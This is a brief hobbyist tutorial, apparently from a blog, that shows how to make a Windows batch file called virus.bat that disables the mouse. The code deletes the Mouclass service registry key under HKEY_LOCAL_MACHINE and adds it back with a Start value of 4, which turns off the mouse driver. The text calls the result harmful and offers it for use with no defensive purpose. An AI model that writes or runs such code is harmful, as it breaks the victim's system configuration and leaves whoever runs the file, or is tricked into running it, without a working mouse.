Make virus that disable mouse

I had previously posted on making different batch files like matrix effect, opening no of websites with one click which were interesting and completely harmless but today we will be making a batch virus which is harmfull it will disable your mouse so think before trying it on yourself.

• Open Notepad and copy below codes

rem ---------------------------------
 rem Disable Mouse
 set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
 reg delete %key%
 reg add %key% /v Start /t REG_DWORD /d 4
 rem ---------------------------------

• Save this file as  virus.bat

• Done you just created your virus.